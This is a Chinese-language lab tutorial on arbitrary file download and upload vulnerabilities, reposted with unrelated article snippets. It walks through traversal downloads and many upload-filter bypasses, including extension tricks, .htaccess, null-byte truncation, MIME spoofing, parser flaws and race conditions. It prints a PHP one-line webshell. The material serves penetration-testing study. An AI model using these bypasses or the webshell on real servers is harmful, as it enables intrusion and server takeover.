任意文件的上传和下载

news2025/2/27 21:10:45

1.任意文件下载(高危)

  •  定义

        一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。

  •     可以下载(参数没有限制)

可以通过../上一级的形式猜测下载配置文件,获取系统的账号密码

  • 挖洞的方式

        一般链接形式:
            download.php?path=
            down.php?file=
            data.php?file=
            download.php?filename=
        或者包含参数:
            &Src=
            &Inputfile=
            &Filepath=
            &Path=
            &Data=

  •  当遇到一个任意文件下载时,一般利用思路:

        下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置
        下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。
        下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器。

  •   防御方法(漏洞修复)

        1.过滤".",使用户在url中不能回溯上级目录
        2.正则严格判断用户输入参数的格式
       3. php.ini配置open_basedir限定文件访问范围
            限制路径,只可以在这个路径下下载东西

2.任意文件上传(高危) 

2.1客户端

 通过js检测,在burp内抓包,将扩展名改为.php

 检测代码出现script就是前端

上传.jpg的形式,在burp进行抓包

 在burp里面更改文件扩展名

在upload里面存在hao.php 

首先取消拦截,复制图片地址

http://10.0.0.130:91/upload/upload/hao.php

2.2 服务端 

  • 黑名单

 上传特殊可解析后缀  .php3  .php5       修改apache配置文件,加入,php3和.php5,重启

插入.php3或者.php5

 http://10.0.0.130:91/upload/upload/202309121802212705.php3  不能解析

修改apache配置文件,加入,php3和.php5,重启

刷新页面,显示出来

 .htaccess   先上传.htaccess文件,在上传ha.jpg,会被解析为.php

先上传.htaccess文件

上传hao.jpg图片

 http://10.0.0.130:91/upload/upload/hao.jpg   会被解析为php

 利用PHP和 Windows环境的叠加特性4.php:.jpg

通过抓包改文件名为4.php:.jpg,以4.<形式传输文件内容

 上传jpg图片

通过burp抓包改为  4.php:.jpg

上传的为php形式,大小为零

找到放包的历史记录

文件名改为4.<或4.<<<或4.>>>或4.>><后

有了大小

 http://10.0.0.130:91/upload/upload/4.php

大小写混合绕过,把1.php改为1.phP 

 改名为hao.phP

 http://10.0.0.130:91/upload/upload/202309121935184766.phP

空格和点,写成1.php .  

 改名为  hao.php  .

  文件流特性绕过  ::$DATA

 hao.php::$DATA 

这个扩展名出不来

 ::$data  要把这个删掉

点空格点绕过   hao.php.  .    

 文件名改为hao.php.  .

 双后缀名绕过   hao.pphphp  

 ISS低版本5.x-6.x

目录解析   文件夹目录的扩展名为脚本扩展名,下面无论是什么文件都会被当成脚本解析(asp.cdx.asa.cer等)

打开网站2,新建一个文件夹C:\wwwtest\XYCMS

没有权限

  添加权限,重命名为123.asp

复制一个asp  

改名为jpg

http://10.0.0.130:82/123.asp/123.jpg  访问 

 ISS低版本5.x-6.x    文件解析    123.asp;.jpg

浏览器访问为图片

改为123.asp;.jpg

 http://10.0.0.130:82/123.asp;.jpg 

IIS7.5解析漏洞     fix_pathinfo   

在物理机搭建网站

在搜索栏输入iis点击


打开phpstudy 切换到iis

 

查看端口
                            

访问出现403   可以正常访问了

上传图片访问
是带有木马的图片

/.php加上这个

去掉这个勾

被解析了 

apache   从右往左开始解析,直到认识的为止

命名为不认识的形式 

nginx       /.php   fix_pathinfo与这个有关     

切换中间件

 将phpinfo.php改为phpinfo.jpg

应该为一个图片

 /.php加上这个被解析为php

为0是被防御,为1存在漏洞

  漏洞被防御 

  • 白名单 

白名单00截断

条件:php版本要小于5.3.4,5.3.4及以上已经修复该问题;magic_quotes_gpc(魔术符号)需要为OFF状态
只能为.jpg形式

%00截断  

 hao.php%00    看一下版本 php版本要小于5.3.4,5.3.4及以上已经修复该问题;magic_quotes_gpc需要为OFF状态

 二进制00截断

 ../upload/hao.php      多打几个空格,将第一个空格改为00

将第一个空格改为00

  改完后如果不变恢复一下默认值,重启burp

 直接访问木马即可

MIME绕过     Content-Type: image/gif  改头部信息         

Content-Type: image/gif  改为这个

  • 检查文件内容 

 文件包含    将扩展名改为png        文件包含  图片和木马结合文件包含

将D:\VStart50\tools\漏洞利用\edjpgcom图片插入一句话工具中的test.jpg拖进一句话工具(随机插入在任何地方) 

 插入一句话木马 <?php @eval($_POST['123']);?>

右键打开图片可以看见有一句话木马

右键复制图片地址http://10.0.0.130:91/upload/upload/3820230913144850.jpg

点击文件包含漏洞

参数给变量,无论是什么形式都以脚本(php)解析

拼接http://10.0.0.130:91/upload/include.php?file=./upload/3820230913144850.jpg 查看图片以脚本执行了

 使用菜刀连接服务器

图片上传不了加头   上传的jpg图片右键查看变为gif要修改头   

含有一句话木马的jpg格式上传不了

头部添加GIF89a

以头来命名

 二次渲染
 图片带有一句话木马传到服务器,服务器检测通过,通过函数把图片生成一个新的图片,以前的删掉,二次渲染的图片一句话木马就没有了

  • 其他

条件竞争
服务器先允许你上传文件,然后检测是否合法,不合法再删除,我们要利用的就是在服务器删除前,访问到我们上传的php。
快速上传快速访问,服务器生成一个文件,不会被删除

清除变量

开始攻击

会时不时出现一个文件

 访问tj.php         http://192.168.134.1:90/upload/upload/tj.php

抓一个包

发送给测试器

 清除变量         

 线程数改为1

 会生成一个新的qing.php

两个同时开启一个上传,一个访问

服务器生成一个新的qing.php

访问服务器生成的qing.php,不会被删掉

  •     上传重命名竞争+Apache解析漏洞

  

 把php改名了

 发送给测试器快速点发送

可能会有一个两个没有被改名字 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1027113.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

BCC介绍

本文参考以下博文&#xff1a; bcc/ebpf使用介绍一文看懂eBPF、eBPF的使用&#xff08;超详细&#xff09; ebpf之bcc程序入门 特此致谢&#xff01; BCC&#xff08;有时也写作bcc&#xff09;的全称是BPF Compiler Collection&#xff0c;即BPF编译器集合。BCC是一个开源项…

QT实现钟表

1、 头文件 #ifndef MAINWINDOW_H #define MAINWINDOW_H#include <QMainWindow> #include <QPaintEvent> //绘制事件类 #include <QDebug> //信息调试类 #include <QPainter> //画家类 #include <QTimerEve…

vue3+vite3项目打包优化

vue3vite3项目打包优化 1、前言2、视图分析工具rollup-plugin-visualizer3、路由懒加载4、第三方库CDN引入5、使用 gzip 压缩6、按需引入第三方库7、使用 Tree Shaking8、剔除console和debugger9、分包策略10、图片压缩 1、前言 Vue项目开发完毕后&#xff0c;对项目进行打包发…

数据预处理方式合集

删除空行 #del all None value data_all.dropna(axis1, howall, inplaceTrue) 删除空列 #del all None value data_all.dropna(axis0, howall, inplaceTrue) 缺失值处理 观测缺失值 观测数据缺失值有一个比较好用的工具包——missingno&#xff0c;直接传入DataFrame&…

windows 查看端口被占用

1. 使用netstat -ano | findstr 8181 命令查看被占用的端口所在的pid 2. 查看是被哪个应用占用tasklist|findstr "pid" 3.杀死他 taskkill -pid 19200 -f

30.链表练习题(1)(王道2023数据结构2.3.7节1-15题)

【前面使用的所有链表的定义在第29节】 试题1&#xff1a; 设计一个递归算法&#xff0c;删除不带头结点的单链表L中所有值为x的结点。 首先来看非递归算法&#xff0c;暴力遍历&#xff1a; int Del(LinkList &L,ElemType x){ //此函数实现删除链表中为x的元素LNode *…

详细介绍下VLAN隔离与VLAN之间互联

什么VLAN&#xff1f; VLAN代表虚拟局域网&#xff08;Virtual Local Area Network&#xff09;&#xff0c;它是一种在物理网络基础上创建逻辑上独立的虚拟网络的技术。VLAN允许将一个局域网划分为多个虚拟的逻辑网络&#xff0c;这些虚拟网络在逻辑上相互隔离&#xff0c;就…

2023年项目管理工具使用趋势分析及预测

随着技术的不断进步以及工作和领导态度的演变&#xff0c;各个行业都在经历着深刻的变革。项目管理领域同样如此&#xff0c;团队项目的技术和人员管理风格及策略正在不断地调整与优化&#xff0c;以适应新冠疫情后所呈现出的新的工作场所格局。在此背景下&#xff0c;以下是我…

win部署CRM

win部署crm&#xff09; 1.phpstudy2.composer3.代码4.其他配置 周末锴哥让我帮他部署了一个CRM&#xff0c;写个教程&#xff0c;方便之后他用。锴哥用的是 NxCrm&#xff0c;先把代码下下来。 1.phpstudy 1.首先是下载小皮面板&#xff0c;配置php的环境。这里面下载了php8…

【Linux】【网络】传输层协议:UDP

文章目录 UDP 协议1. 面向数据报2. UDP 协议端格式3. UDP 的封装和解包4. UDP 的缓冲区 UDP 协议 UDP传输的过程类似于寄信。 无连接&#xff1a;知道对端的IP和端口号就直接进行传输&#xff0c;不需要建立连接。不可靠&#xff1a;没有确认机制&#xff0c;没有重传机制&am…

MacOS上的Pip和Python升级指南

在MacOS系统上&#xff0c;保持Pip和Python版本的最新状态对于顺利进行Python开发至关重要。通过升级Pip和Python&#xff0c;你可以享受到最新的功能、修复的bug以及提升的开发效率。本文将为你提供在MacOS上升级Pip和Python的详细指南&#xff0c;助你打造更强大的开发环境。…

软件测试-BUG

软件测试-BUG 1.如何合理创建一个BUG 创建bug的要素&#xff1a; 软件的版本发现问题的环境发现问题的步骤预期结果实际结果 Bug报告&#xff1a; 软件版本&#xff1a;Google Chrome浏览器&#xff08;具体版本号&#xff09; 发现问题环境&#xff1a;在Windows 10操作系统…

Learn Prompt-Prompt 高级技巧:Agents 组件详解

在以LLM驱动的Agent系统中&#xff0c;LLM扮演着Agent的大脑角色&#xff0c;并辅以几个关键组件&#xff1a; 规划&#xff1a;LLM能够进行全面的规划&#xff0c;不仅仅是简单的任务拆分。它可以评估不同的路径和策略&#xff0c;制定最佳的行动计划&#xff0c;以实现用户给…

qml Combobox用法介绍与代码演示

ComboBox 是 QML 中的一个组件,用于在下拉列表中显示一组项供用户选择。它是 Qt Quick Controls 2 模块中的一个组件,经常用于创建用户界面。 下面是 ComboBox 的一些基本用法: 1. 基本使用: import QtQuick 2.15 import QtQuick.Controls 2.15ApplicationWindow {visib…

解决qml编译时出现错误ninja: build stopped: subcommand failed.

qml编译时出现错误ninja: build stopped: subcommand failed. 如下图&#xff1a; 解决这个编译错误其实很简单&#xff0c;我把Window写错了&#xff0c;写成了window, 如果有类似的报错&#xff0c;可以检查一下qml代码是否有问题。当然在Qt Creator里也没有错误提示&#x…

二叉树的操作大全

文章目录 1.通过前序遍历数组"ABD##E#H##CF##G##"构建二叉树2.前序遍历3.中序遍历4.后序遍历5.层序遍历6.二叉树结点个数及第k层结点个数7.查找为x的结点8.叶子结点个数9.销毁二叉树(二级指针)10.判断是否为完全二叉树测试代码及运行结果 1.通过前序遍历数组"AB…

LeetCode【37.解数独】

世间多少痴儿女&#xff0c;情到深处无怨尤 编写一个程序&#xff0c;通过填充空格来解决数独问题。 数独的解法需 遵循如下规则&#xff1a; 数字 1-9 在每一行只能出现一次。数字 1-9 在每一列只能出现一次。数字 1-9 在每一个以粗实线分隔的 3x3 宫内只能出现一次。&#…

Python办公自动化之Word

Python操作Word 1、Python操作Word概述2、写入Word2.1、标题2.2、章节与段落2.3、字体与引用2.4、项目列表2.5、分页2.6、表格2.7、图片3、读取Word3.1、读取文档3.2、读取表格4、将Word表格保存到Excel5、格式转换5.1、Doc转Docx5.2、Word转PDF1、Python操作Word概述 python-d…

aspose-words导出word方法

一、引用依赖 <dependency><groupId>com.aspose</groupId><artifactId>aspose-words</artifactId><version>19.5</version><classifier>jdk17</classifier></dependency>二、导出类 public class WordTable {//定…

Airtext连接chrome谷歌浏览器报错

Airtext连接chrome报错 近期在使用AirtestIDE连接chrome的时候&#xff0c;发现可以正常打开浏览器进行录制&#xff0c;在识别控件的时候也可以正常识别&#xff0c;但是运行录制好的脚本的时候会报错如下&#xff1a; [Start running..] do not connect device save log in…